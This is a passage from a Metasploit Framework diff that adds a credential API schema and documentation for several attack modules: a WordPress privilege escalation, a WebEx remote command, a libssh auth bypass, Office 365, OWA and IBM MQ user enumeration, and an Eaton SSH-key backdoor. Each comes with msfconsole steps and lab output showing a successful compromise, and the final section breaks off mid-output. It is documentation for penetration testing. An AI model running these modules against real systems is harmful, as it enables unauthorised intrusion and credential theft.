PUBLIC_TYPE_ENUM = [ 'Metasploit::Credential::BlankUsername', 'Metasploit::Credential::Username' ]
|
||||
PRIVATE_TYPE_CLASS_ENUM = [
|
||||
'Metasploit::Credential::ReplayableHash',
|
||||
|
@ -108,6 +113,15 @@ module CredentialApiDoc
|
|||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_schema :Realm do
|
||||
key :required, [:key, :value]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :key, type: :string, description: KEY_DESC, example: KEY_EXAMPLE
|
||||
property :value, type: :string, description: VALUE_DESC, example: VALUE_EXAMPLE
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/credentials' do
|
||||
# Swagger documentation for /api/v1/credentials GET
|
||||
operation :get do
|
||||
|
@ -197,6 +211,8 @@ module CredentialApiDoc
|
|||
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
|
||||
property :private_data, type: :string, description: DATA_DESC, example: DATA_EXAMPLE
|
||||
property :private_type, type: :string, description: PRIVATE_TYPE_DESC, enum: PRIVATE_TYPE_ENUM
|
||||
property :realm_key, type: :string, description: KEY_DESC, enum: PRIVATE_TYPE_ENUM
|
||||
property :realm_value, type: :string, description: VALUE_DESC, enum: PRIVATE_TYPE_ENUM
|
||||
property :jtr_format, type: :string, description: JTR_FORMAT_DESC, example: JTR_FORMAT_EXAMPLE
|
||||
property :address, type: :string, format: :ipv4, required: true, description: ADDRESS_DESC, example: ADDRESS_EXAMPLE
|
||||
property :port, type: :int32, format: :int32, description: PORT_DESC, example: PORT_EXAMPLE
|
||||
|
|
|
@ -0,0 +1,48 @@
|
|||
## Description
|
||||
|
||||
This module exploits the [Wordpress GDPR compliance plugin](https://wordpress.org/plugins/wp-gdpr-compliance/) lack of validation ([WPVDB 9144](https://wpvulndb.com/vulnerabilities/9144)), which affects versions 1.4.2 and lower.
|
||||
|
||||
When a user triggers GDPR-related actions, Wordpress's `admin-ajax.php` is called but fails to do validation and capacity checks regarding the asked actions. This leads to any unauthenticated user being able to modify any arbitrary settings on the targeted server.
|
||||
|
||||
This module changes the admin email (optional) to prevent notification sending, enables new user registration, changes the default role of new users to Administrator, and registers a new user that can be used for authentication. The attacker can then log in and take any actions on the newly compromised site.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[GDPR Compliance plugin <= 1.4.2](https://downloads.wordpress.org/plugin/wp-gdpr-compliance.1.4.2.zip)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. `./msfconsole`
|
||||
3. `use auxiliary/admin/http/wp_gdpr_compliance_privesc`
|
||||
4. `set RHOST [wp host]`
|
||||
5. `set RPORT [wp port]`
|
||||
6. `set EMAIL [email address]`
|
||||
7. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Debian 9.6 running Wordpress 4.7.5 with WordPress GDPR Compliance plugin 1.4.2:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/admin/http/wp_gdpr_compliance_privesc
|
||||
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set rhosts 172.22.222.145
|
||||
rhosts => 172.22.222.145
|
||||
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set email test@example.com
|
||||
email => test@example.com
|
||||
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > check
|
||||
|
||||
[*] Checking /wp-content/plugins/wp-gdpr-compliance/readme.txt
|
||||
[*] Found version 1.4.2 of the plugin
|
||||
[*] 172.22.222.145:80 The target appears to be vulnerable.
|
||||
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > exploit
|
||||
|
||||
[*] Getting security token from host...
|
||||
[!] Enabling user registrations...
|
||||
[!] Setting the default user role type to administrator...
|
||||
[*] Registering msfuser with email test@example.com
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) >
|
||||
```
|
|
@ -0,0 +1,28 @@
|
|||
## Vulnerable Application
|
||||
|
||||
1. [Install Oracle Database](http://www.oracle.com/technetwork/indexes/downloads/index.html#database)
|
||||
2. [Insert the "Scott/Tiger" test data](http://www.orafaq.com/wiki/SCOTT)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Connect via sqlplus, and check current privileges:
|
||||
1. Ex: `sqlplus SCOTT/TIGER@192.168.3.100:1521/XEXDB`
|
||||
2. Ex: `SELECT * FROM session_privs`
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/admin/oracle/oracle_index_privesc```
|
||||
4. Do: set ```SQL```, and ```TABLE``` if desired
|
||||
5. Do: ```exploit```
|
||||
6. Reconnect with sqlplus and check privileges post-exploit:
|
||||
1. Ex: `sqlplus SCOTT/TIGER@192.168.3.100:1521/XEXDB`
|
||||
2. Ex: `SELECT * FROM session_privs`
|
||||
|
||||
## Options
|
||||
|
||||
**SQL**
|
||||
|
||||
The SQL that will execute with the privileges of the user who created the index. Default is to escalate privileges.
|
||||
|
||||
**TABLE**
|
||||
|
||||
Table to create the index on.
|
|
@ -0,0 +1,47 @@
|
|||
## Description
|
||||
|
||||
This module exploits a remote code execution vulnerability in Cisco's WebEx client software versions < v33.6.0.655
|
||||
By supplying valid login credentials to the target machine, a single command can be executed with System privileges.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Cisco WebEx Client v33.3.8.7 and below
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/admin/smb/webexec_command```
|
||||
4. Do: ```set RHOSTS <IP>```
|
||||
5. Do: ```set SMBUser <USERNAME>```
|
||||
6. Do: ```set SMBPass <PASSWORD>```
|
||||
7. Do: ```run```
|
||||
8. You should get output that verifies the execution of the command
|
||||
|
||||
## Options
|
||||
|
||||
**FORCE_GUI**
|
||||
|
||||
Uses WMIC to create a GUI
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Cisco WebEx v33.3.8.7 on Windows 7 x64 and x86
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/admin/smb/webexec_command
|
||||
msf5 auxiliary(admin/smb/webexec_command) > set rhosts 192.168.37.136
|
||||
rhosts => 192.168.37.136
|
||||
msf5 auxiliary(admin/smb/webexec_command) > set smbuser a_user
|
||||
smbuser => a_user
|
||||
msf5 auxiliary(admin/smb/webexec_command) > set smbpass password
|
||||
smbpass => password
|
||||
msf5 auxiliary(admin/smb/webexec_command) > run
|
||||
|
||||
[+] 192.168.37.136:445 - Command completed!
|
||||
[*] 192.168.37.136:445 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(admin/smb/webexec_command) >
|
||||
```
|
|
@ -0,0 +1,77 @@
|
|||
External python module compatible with v2 and v3.
|
||||
|
||||
Enumerate valid usernames (email addresses) from Office 365 using ActiveSync.
|
||||
Differences in the HTTP Response code and HTTP Headers can be used to differentiate between:
|
||||
|
||||
- Valid Username (Response code 401)
|
||||
- Valid Username and Password without 2FA (Response Code 200)
|
||||
- Valid Username and Password with 2FA (Response Code 403)
|
||||
- Invalid Username (Response code 404 with Header X-CasErrorCode: UserNotFound)
|
||||
|
||||
Note this behaviour appears to be limited to Office365, MS Exchange does not appear to be affected.
|
||||
|
||||
Microsoft Security Response Center stated on 2017-06-28 that this issue does not "meet the bar for security servicing". As such it is not expected to be fixed any time soon.
|
||||
|
||||
This script is maintaing the ability to run independently of MSF.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Office365's implementation of ActiveSync
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Create a file containing candidate usernames (aka email addresses), one per line.
|
||||
2. Do: ```use auxiliary/gather/office365userenum```
|
||||
3. Do: ```set users [USER_FILE]``` with the file you created.
|
||||
4. Do: ```run```
|
||||
5. Valid and Invalid usernames will be printed out to the screen.
|
||||
|
||||
## Options
|
||||
|
||||
LOGFILE = Output file to use for verbose logging.
|
||||
OUTPUT = Output file for results.
|
||||
PASSWORD = Password to use during enumeration. Note this must exist
|
||||
but does not necessarily need to be valid. If it is
|
||||
found to be valid for an account it will be reported.
|
||||
THREADS = Number of concurrent requests to use during enumeration.
|
||||
TIMEOUT = HTTP request timeout to use during enumeration.
|
||||
URL = URL of Office365 ActiveSync service.
|
||||
USERS = Input fie containing candidate usernames, one per line.
|
||||
VERBOSE = Enable/Disable DEBUG logging
|
||||
|
||||
|
||||
## Scenarios
|
||||
The following demonstrates basic usage, using the supplied users wordlist
|
||||
and default options.
|
||||
|
||||
```
|
||||
msf5 auxiliary(gather/office365userenum) > set users /home/msfdev/users
|
||||
users => /home/msfdev/users
|
||||
msf5 auxiliary(gather/office365userenum) > run
|
||||
|
||||
[*]
|
||||
|
||||
. .1111... | Title: office365userenum.py
|
||||
.10000000000011. .. | Author: Oliver Morton (Sec-1 Ltd)
|
||||
.00 000... | Email: oliverm@sec-1.com
|
||||
1 01.. | Description:
|
||||
.. | Enumerate valid usernames from Office 365 using
|
||||
.. | ActiveSync.
|
||||
GrimHacker .. | Requires: Python 2.7 or 3.6, python-requests
|
||||
.. |
|
||||
grimhacker.com .. |
|
||||
@grimhacker .. |
|
||||
----------------------------------------------------------------------------
|
||||
This program comes with ABSOLUTELY NO WARRANTY.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions. See GPLv2 License.
|
||||
----------------------------------------------------------------------------
|
||||
|
||||
[+] 401 VALID_USER valid_username@example.com:Password1
|
||||
[-] 404 INVALID_USER invalid_username@example.com:Password1
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## References
|
||||
https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/
|
|
@ -0,0 +1,47 @@
|
|||
## Description
|
||||
|
||||
This module scans for the presence of the HTTP interface for a cisco device and attempts to enumerate it using basic authentication.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Any Cisco networking device with the HTTP inteface turned on.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Enable the web interface on a cisco device `ip http server`
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/http/cisco_device_manager```
|
||||
4. Do: ```set RHOSTS [IP]```
|
||||
5. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**HttpUsername**
|
||||
|
||||
Username to use for basic authentication. Default value is `cisco`
|
||||
|
||||
**HttpPassword**
|
||||
|
||||
Password to use for basic authentication. Default value is `cisco`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Cisco UC520-8U-4FXO-K9 running IOS 12.4
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/cisco_device_manager
|
||||
msf5 auxiliary(scanner/http/cisco_device_manager) > set rhosts 2.2.2.2
|
||||
rhosts => 2.2.2.2
|
||||
msf5 auxiliary(scanner/http/cisco_device_manager) > set vebose true
|
||||
vebose => true
|
||||
msf5 auxiliary(scanner/http/cisco_device_manager) > run
|
||||
|
||||
[+] 2.2.2.2:80 Successfully authenticated to this device
|
||||
[+] 2.2.2.2:80 Processing the configuration file...
|
||||
[+] 2.2.2.2:80 MD5 Encrypted Enable Password: $1$TF.y$3E7pZ2szVvQw5JG8SDjNa1
|
||||
[+] 2.2.2.2:80 Username 'cisco' with MD5 Encrypted Password: $1$DaqN$iP32E5WcOOui/H66R63QB0
|
||||
[+] 2.2.2.2:80 SNMP Community (RO): public
|
||||
[+] 2.2.2.2:80 ePhone Username 'phoneone' with Password: 111111
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,63 @@
|
|||
|
||||
## Microsoft IIS shortname vulnerability scanner
|
||||
|
||||
The vulnerability is caused by a tilde character `~` in a GET or OPTIONS request, which could allow remote attackers to disclose 8.3 filenames (short names). In 2010, Soroush Dalili and Ali Abbasnejad discovered the original bug (GET request) This was publicly disclosed in 2012. In 2014, Soroush Dalili discovered that newer IIS installations are vulnerable with OPTIONS.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Older Microsoft IIS installations are vulnerable with GET, newer installations with OPTIONS
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install IIS (default installations are vulnerable)
|
||||
2. Start msfconsole
|
||||
3. Check:
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/iis_shortname_scanner
|
||||
msf auxiliary(iis_shortname_scanner) > set 172.16.249.128
|
||||
msf auxiliary(iis_shortname_scanner) > check
|
||||
[+] 172.16.249.128:80 The target is vulnerable.
|
||||
```
|
||||
|
||||
4. Scan:
|
||||
|
||||
```
|
||||
msf auxiliary(iis_shortname_scanner) > run
|
||||
[*] Scanning in progress...
|
||||
[+] Directories found
|
||||
http://172.16.249.128/aspnet~1
|
||||
http://172.16.249.128/secret~1
|
||||
[+] Files found
|
||||
http://172.16.249.128/web~1.con
|
||||
http://172.16.249.128/index~1.htm
|
||||
http://172.16.249.128/upload~1.asp
|
||||
http://172.16.249.128/upload~2.asp
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
```
|
||||
Module options (auxiliary/scanner/http/iis_shortname_scanner):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PATH / yes The base path to start scanning from
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOST yes The target address
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
```
|
||||
|
||||
## Remediation
|
||||
|
||||
Create registry key `NtfsDisable8dot3NameCreation` at `HKLM\SYSTEM\CurrentControlSet\Control\FileSystem`, with a value of `1`
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* https://soroush.secproject.com/blog/tag/iis-tilde-vulnerability/
|
||||
* https://support.detectify.com/customer/portal/articles/1711520-microsoft-iis-tilde-vulnerability
|
|
@ -0,0 +1,46 @@
|
|||
This module enumerates databases on InfluxDB using the REST API using the default authentication of root:root.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/influxdb_enum```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set RPORT [PORT]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/influxdb_enum
|
||||
msf5 auxiliary(scanner/http/influxdb_enum) > set RHOST 172.25.65.20
|
||||
RHOST => 172.25.65.20
|
||||
msf5 auxiliary(scanner/http/influxdb_enum) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf5 auxiliary(scanner/http/influxdb_enum) > run
|
||||
|
||||
[+] 172.25.65.20:8086 - Influx Version: 1.5.1
|
||||
[+] 172.25.65.20:8086 - Influx DB Found:
|
||||
|
||||
{
|
||||
"results": [
|
||||
{
|
||||
"statement_id": 0,
|
||||
"series": [
|
||||
{
|
||||
"name": "databases",
|
||||
"columns": [
|
||||
"name"
|
||||
],
|
||||
"values": [
|
||||
[
|
||||
"_internal"
|
||||
]
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
[+] File saved in: /Users/unix/.msf4/loot/20180423050119_default_172.25.65.20_influxdb.enum_623871.txt
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,48 @@
|
|||
|
||||
## Vulnerable Application
|
||||
|
||||
* IBM Downloads page: https://developer.ibm.com/messaging/mq-downloads/
|
||||
* Tested on IBM MQ 7.5, 8 and 9
|
||||
* Usage:
|
||||
* Download and install MQ Server
|
||||
* Create a new Queue Manager
|
||||
* Create a new channel (without SSL)
|
||||
* Run the module
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Install IBM MQ Server 7.5, 8, or 9
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/misc/ibm_mq_channel_brute```
|
||||
4. Do: ```set channels_file <channel_list_file>```
|
||||
5. Do: ```set rhosts <target_IP>```
|
||||
6. Do: ```set rport <port>```
|
||||
7. Do: ```run```
|
||||
|
||||
Example output:
|
||||
```
|
||||
msf auxiliary(scanner/misc/ibm_mq_channel_brute) > run
|
||||
|
||||
[*] 10.1.1.144:1414 - Found channel: TEST.CHANNEL, IsEncrypted: False, IsMQI: True
|
||||
[*] 10.1.1.144:1414 - Found channel: SYSTEM.ADMIN.SVRCONN, IsEncrypted: False, IsMQI: True
|
||||
|
||||
[+] 10.1.1.144:1414 - Channels found: ["TEST.CHANNEL", "SYSTEM.ADMIN.SVRCONN"]
|
||||
[+] 10.1.1.144:1414 - Unencrypted MQI Channels found: ["TEST.CHANNEL", "SYSTEM.ADMIN.SVRCONN"]
|
||||
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
**The CHANNELS_FILE option**
|
||||
|
||||
This option should contain the path to a text file which contains a list of channel names that will be checked. One channel name per line.
|
||||
|
||||
## Scenarios
|
||||
|
||||
This module can be used to identify a list of channel names that are configured on the Queue Manager. Additionally, the module will return whether each identified channel uses SSL and if it MQI type.
|
||||
After obtaining a list of valid channel names, these can be used to further enumerate the MQ installation. For example, the ibm_mq_enum module can be executed using a valid channel name in order to obtain information regarding the Queue Manager.
|
|
@ -0,0 +1,36 @@
|
|||
## Vulnerable Application
|
||||
* IBM Downloads page: https://developer.ibm.com/messaging/mq-downloads/
|
||||
* Tested on IBM MQ 7.5, 8 and 9
|
||||
* Usage:
|
||||
* Download and install MQ Server
|
||||
* Create a new Queue Manager
|
||||
* Create a new channel (without SSL)
|
||||
* Run the module
|
||||
|
||||
## Verification Steps
|
||||
Example steps in this format (is also in the PR):
|
||||
1. Install IBM MQ Server 7.5, 8, or 9
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/misc/ibm_mq_enum```
|
||||
4. Do: ```set channel <channel_name>```
|
||||
5. Do: ```set rhosts <target_IP>```
|
||||
6. Do: ```set rport <port>```
|
||||
7. Do: ```run```
|
||||
|
||||
Example output:
|
||||
```
|
||||
msf auxiliary(scanner/misc/ibm_mq_enum) > run
|
||||
|
||||
[+] 10.1.1.144: - 10.1.1.144:1414 - Queue Manager Name: TESTQM - MQ Version: 9.1.0.0
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
||||
|
||||
## Options
|
||||
**The CHANNEL option**
|
||||
|
||||
This option should contain the name of a valid MQ channel. This can be obtained using the module ```auxiliary/scanner/misc/ibm_mq_channel_brute```
|
||||
|
||||
## Scenarios
|
||||
This module can be used to obtain the Queue Manager name as well as the version of the MQ being used on the target host. When the Queue Manager name and a valid MQI channel name without SSL is known , the module ```auxiliary/scanner/misc/ibm_mq_login``` can be used to identify usernames that can authenticate to the Queue Manager.
|
|
@ -0,0 +1,53 @@
|
|||
## Vulnerable Application
|
||||
|
||||
* IBM Downloads page: https://developer.ibm.com/messaging/mq-downloads/
|
||||
* Tested on IBM MQ 7.5, 8 and 9
|
||||
* Usage:
|
||||
* Download and install MQ Server from the above link
|
||||
* Create a new Queue Manager
|
||||
* Create a new channel (without SSL)
|
||||
* Allow remote connections for admin users by removing the CHLAUTH record that denies all users or configure access for a specific username.
|
||||
* Run the module
|
||||
|
||||
## Verification Steps
|
||||
Example steps in this format (is also in the PR):
|
||||
1. Install IBM MQ Server 7.5, 8, or 9
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/misc/ibm_mq_login```
|
||||
4. Do: ```set channel <admin_channel_name_without_ssl>```
|
||||
5. Do: ```set queue_manager <queue_manager_name>```
|
||||
5. Do: ```set usernames_file <list_of_usernames>```
|
||||
6. Do: ```set rhosts <target_IP>```
|
||||
7. Do: ```set rport <port>```
|
||||
8. Do: ```run```
|
||||
|
||||
Example output:
|
||||
```
|
||||
msf auxiliary(scanner/misc/ibm_mq_login) > run
|
||||
|
||||
[*] 10.1.1.10:1416 - Found username: admin
|
||||
[*] 10.1.1.10:1416 - Found username: test
|
||||
|
||||
[+] 10.1.1.10:1416 - 10.1.1.10:1416 Valid usernames found: ["admin", "test"]
|
||||
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
## Options
|
||||
**The USERNAMES_FILE option**
|
||||
|
||||
This option should contain the path to a text file which contains a list of usernames that will be checked. One username per line.
|
||||
|
||||
**The QUEUE_MANAGER option**
|
||||
|
||||
This option should contain the name of the target Queue Manager.
|
||||
|
||||
**The CHANNEL option**
|
||||
|
||||
This option should contain the name of a server-connection channel that will be used to connect to the Queue Manager.
|
||||
|
||||
## Scenarios
|
||||
This module can be used to identify a list of usernames that are allowed to connect to the Queue Manager. This module requires the name of a valid server-connection channel, the Queue Manager's name which can be obtained by running the following 2 modules:
|
||||
* ```auxiliary/scanner/misc/ibm_mq_channel_brute```
|
||||
* ```auxiliary/scanner/misc/ibm_mq_enum```
|
||||
After identifying a valid username, MQ Explorer can be used to connect to the Queue Manager using the information gathered.
|
|
@ -0,0 +1,21 @@
|
|||
OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks.
|
||||
This module leverages all known, and even some lesser-known services exposed by default
|
||||
Exchange installations to enumerate email.
|
||||
|
||||
Error-based user enumeration for Office 365 integrated email addresses
|
||||
|
||||
## Verification
|
||||
|
||||
- Start `msfconsole`
|
||||
- `use auxiliary/scanner/msmail/exchange_enum`
|
||||
- `set (`EMAIL` or `EMAIL_FILE`)`
|
||||
- `run`
|
||||
- `creds`
|
||||
|
||||
*Results should look something like below if valid users were found:*
|
||||
|
||||
```
|
||||
host origin service public private realm private_type
|
||||
---- ------ ------- ------ ------- ----- ------------
|
||||
<ip> <ip> 443/tcp (owa) chris@somecompany.com
|
||||
```
|
|
@ -0,0 +1,42 @@
|
|||
OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks.
|
||||
This module leverages all known, and even some lesser-known services exposed by default
|
||||
Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration.
|
||||
|
||||
**Identify Command**
|
||||
- Used for gathering information about a host that may be pointed towards an Exchange or o365 tied domain
|
||||
- Queries for specific DNS records related to Office 365 integration
|
||||
- Attempts to extract internal domain name for onprem instance of Exchange
|
||||
- Identifies services vulnerable to time-based user enumeration for onprem Exchange
|
||||
- Lists password-sprayable services exposed for onprem Exchange host
|
||||
|
||||
**Note:** Currently uses RHOSTS which resolves to an IP which is NOT desired, this is currently being fixed
|
||||
|
||||
## Verification
|
||||
|
||||
- Start `msfconsole`
|
||||
- `use auxiliary/scanner/msmail/host_id`
|
||||
- `set RHOSTS <target>`
|
||||
- `run`
|
||||
|
||||
*Results should look like below:*
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/msmail/host_id
|
||||
msf5 auxiliary(scanner/msmail/host_id) > set RHOSTS <host>
|
||||
RHOSTS => <host>
|
||||
msf5 auxiliary(scanner/msmail/host_id) > run
|
||||
|
||||
[*] Running for <ip>...
|
||||
[*] Attempting to harvest internal domain:
|
||||
[*] Internal Domain:
|
||||
[*] <domain>
|
||||
[*] [-] Domain is not using o365 resources.
|
||||
[*] Identifying endpoints vulnerable to time-based enumeration:
|
||||
[*] [+] https://<host>/Microsoft-Server-ActiveSync
|
||||
[*] [+] https://<host>/autodiscover/autodiscover.xml
|
||||
[*] [+] https://<host>/owa
|
||||
[*] Identifying exposed Exchange endpoints for potential spraying:
|
||||
[*] [+] https://<host>/oab
|
||||
[*] [+] https://<host>/ews
|
||||
|
||||
```
|
|
@ -0,0 +1,25 @@
|
|||
OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks.
|
||||
This module leverages all known, and even some lesser-known services exposed by default
|
||||
Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration.
|
||||
|
||||
- Error-based user enumeration for on premise Exchange services
|
||||
|
||||
**Note:** Currently uses RHOSTS which resolves to an IP which is NOT desired, this is currently being fixed
|
||||
|
||||
## Verification
|
||||
|
||||
- Start `msfconsole`
|
||||
- `use auxiliary/scanner/msmail/onprem_enum`
|
||||
- `set RHOSTS <target>`
|
||||
- `set (`USER` or `USER_FILE`)
|
||||
- `run`
|
||||
- `creds`
|
||||
|
||||
*Results should look something like below if valid users were found:*
|
||||
|
||||
```
|
||||
host origin service public private realm private_type
|
||||
---- ------ ------- ------ ------- ----- ------------
|
||||
10.1.1.1 10.1.1.1 443/tcp (owa)
|
||||
10.1.1.1 10.1.1.1 443/tcp (owa) chris
|
||||
```
|
|
@ -0,0 +1,39 @@
|
|||
# Description
|
||||
|
||||
The `eaton_xpert_backdoor` module scans for Eaton Xpert Power meters with a vendor SSH private key used in the device firmware's build process.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Eaton is a power management company with a wide range of power management products.
|
||||
Power meters sold by Eaton used a firmware build process for many years that left a developer key pair in the default profile.
|
||||
Specific models include: Power Xpert Meter 4000/6000/8000
|
||||
|
||||
[Software Link](http://www.eaton.com/Eaton/ProductsServices/Electrical/ProductsandServices/PowerQualityandMonitoring/PowerandEnergyMeters/PowerXpertMeter400060008000/index.htm#tabs-2)
|
||||
|
||||
Vulnerable Version: Firmware <= 12.x and <= 13.3.x.x and below more versions may be impacted
|
||||
|
||||
Tested on: Firmware 12.1.9.1 and 13.3.2.10
|
||||
|
||||
Similar to running: `ssh -m hmac-sha1 -c aes128-cbc -o KexAlgorithms=diffie-hellman-group1-sha1 -o HostKeyAlgorithms=ssh-rsa -i ./id_rsa admin@1.1.1.2`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. `use auxiliary/scanner/ssh/eaton_xpert_backdoor`
|
||||
3. `set RHOSTS 1.1.1.2`
|
||||
4. `run -z`
|
||||
5. Vulnerable hosts should present a shell
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/ssh/eaton_xpert_backdoor
|
||||
msf auxiliary(scanner/ssh/eaton_xpert_backdoor) > set RHOSTS 1.1.1.2
|
||||
RHOSTS => 1.1.1.2
|
||||
msf auxiliary(scanner/ssh/eaton_xpert_backdoor) > run -z
|
||||
|
||||
[+] 1.1.1.2:22 - Logged in as admin
|
||||
[*] Command shell session 1 opened (1.1.1.1:62063 -> 1.1.1.2:22) at 2018-08-31 19:12:21 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,167 @@
|
|||
## Intro
|
||||
|
||||
This module exploits an authentication bypass in libssh server code
|
||||
where a `USERAUTH_SUCCESS` message is sent in place of the expected
|
||||
`USERAUTH_REQUEST` message. libssh versions 0.6.0 through 0.7.5 and
|
||||
0.8.0 through 0.8.3 are vulnerable.
|
||||
|
||||
Note that this module's success depends on whether the server code
|
||||
can trigger the correct (`shell`/`exec`) callbacks despite only the state
|
||||
machine's authenticated state being set.
|
||||
|
||||
Therefore, you may or may not get a shell if the server requires
|
||||
additional code paths to be followed.
|
||||
|
||||
## Setup
|
||||
|
||||
1. `git clone git://git.libssh.org/projects/libssh.git`
|
||||
2. `cd libssh` and `git checkout libssh-0.8.3`
|
||||
3. `git apply -p1 /path/to/metasploit-framework/external/source/libssh/ssh_server_fork.patch`
|
||||
4. Follow the steps in `INSTALL` to build libssh
|
||||
5. Run `build/examples/ssh_server_fork` (I like to `strace` it)
|
||||
|
||||
## Actions
|
||||
|
||||
```
|
||||
Name Description
|
||||
---- -----------
|
||||
Execute Execute a command
|
||||
Shell Spawn a shell
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
**CMD**
|
||||
|
||||
Set this to a command or shell you want to execute. An `exec` channel
|
||||
request will be sent instead of a `shell` channel request.
|
||||
|
||||
**SPAWN_PTY**
|
||||
|
||||
Enable this if you would like a PTY. Some server implementations may
|
||||
require this. Note that you WILL be logged in `utmp`, `wtmp`, and
|
||||
`lastlog` in most cases.
|
||||
|
||||
**CHECK_BANNER**
|
||||
|
||||
This is a banner check for libssh. It's not sophisticated, and the
|
||||
banner may be changed, but it may prevent false positives due to how the
|
||||
OOB authentication packet always returns `true`.
|
||||
|
||||
## Usage
|
||||
|
||||
Positive testing against unpatched libssh 0.8.3:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/ssh/libssh_auth_bypass
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set rhosts 172.28.128.3
|
||||
rhosts => 172.28.128.3
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set rport 2222
|
||||
rport => 2222
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set spawn_pty true
|
||||
spawn_pty => true
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
|
||||
|
||||
[*] 172.28.128.3:2222 - Attempting authentication bypass
|
||||
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
|
||||
